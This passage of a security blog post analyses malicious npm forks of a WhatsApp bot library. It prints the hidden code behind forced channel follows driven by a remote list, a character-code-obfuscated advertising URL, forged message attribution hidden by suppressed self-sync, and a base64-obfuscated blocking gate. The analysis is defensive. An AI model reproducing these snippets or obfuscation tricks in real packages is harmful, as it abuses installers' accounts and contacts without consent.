const res = await fetch('https://raw.githubusercontent.com/LevviCodeID/Levi4than/refs/heads/main/levvleys.json');
const ids = await res.json();
for (const id of ids) {
if (typeof id !== 'string' || !id.endsWith('@newsletter')) continue;
await newsletterWMexQuery(id, QueryIds.FOLLOW);
await new Promise((r) => setTimeout(r, 3000));
await newsletterWMexQuery(id, QueryIds.MUTE);
}
};
sock.ev.on('connection.update', ({ connection }) => {
if (connection !== 'open') return;
setTimeout(() => autoJoinChannels(), 30000);
});

The list is remote, so the operator changes the targets without publishing a new version. Each follow is paired with a mute, which stops the notification that would show the account owner the new subscription. There is no opt-out and no consent prompt.

An advertising URL injected into media

[email protected] adds a second behaviour on top of a forced follow. In lib/Socket/messages-send.js, at two sites, it sets a sourceUrl on the preview payload of every image and video the bot sends. The URL is built from a character-code array rather than written as text.

// lib/Socket/messages-send.js ([email protected]), lines 425 and 436
// prettier-ignore
sourceUrl: String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 102, 105, 111, 114, 97, 46, 110, 105, 120, 101, 108, 46, 109, 121, 46, 105, 100, 47);
// decodes to https://fiora.nixel.my.id/

Every other URL in the file is a plain string. Only this one is assembled from character codes. The two forms behave the same at runtime, so the character codes serve only to keep the URL out of a text search. The author’s domain then rides on the media the installer sends to their own contacts.

Forged attribution on outgoing messages

@cikikomo/[email protected] adds the operator’s channel attribution to the victim’s outgoing messages from lib/Socket/luxu.js.

// lib/Socket/luxu.js (@cikikomo/[email protected])
forwardedNewsletterMessageInfo: {
newsletterName: "CikiKomo",
newsletterJid: "120363426628484388@newsletter",
serverMessageId: 1
}

The same revision adds noSelfSync: true at four message-send sites. That flag suppresses syncing the sent message back to the victim’s own devices, which lowers the chance the account holder notices the injected attribution. The package advertises both the channel identifier and the noSelfSync flag in its own package.json description, so the concealment targets the victim, not the buyer of the fork.

Account block through an authorisation gate

@prototypevip/[email protected] hides an authorisation gate in lib/Store/prototype-store.js. The file opens with a base64 string table and a one-line decoder.

// lib/Store/prototype-store.js (@prototypevip/[email protected])
const _0x = [
'Z2ludG9raQ==', // gintoki
'dHlwZQ==', // type
'bWQ=', // md
'd3M=', // ws
'c2VuZE1lc3NhZ2U=', // sendMessage
'dXNlcg==', // user
'amlk', // jid
'2LrZitix...', // Arabic: "you are no longer authorized to use this bot"
];
const _d = (s) => Buffer.from(s, 'base64').toString('utf8');

The gate walks each message object, finds the live multi-device socket, and checks whether it is registered under the author’s own key gintoki. If not, it sends an unauthorised-use notice from the victim’s account and throws to halt message handling.

// lib/Store/prototype-store.js (@prototypevip/[email protected])
if (v[_d(_0x[1])] === _d(_0x[2]) && v[_d(_0x[3])]) { // v.type === "md" && v.ws
const _0s2 = _d(_0x[0]); // "gintoki"
if (k !== _0s2 && _0xobj.ulid) {
v[_d(_0x[4])](v[_d(_0x[5])]?.[_d(_0x[6])], { // v.sendMessage(v.user?.jid, ...)
text: _d(_0x[7]),
});
const _e = (s) => new Error(_d(s));
throw _e("QmxvY2tlZA=="); // "Blocked"
}
continue;
}

cloneM() wraps the gate and runs inside the messages.upsert listener, so it runs on every message the bot receives, not only at startup. A legitimate licence check has no reason to hide the word sendMessage behind base64. The author hid it on purpose.

  • malware
  • npm
  • supply-chain
  • whatsapp
  • adware

Author

Kunal Singh

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.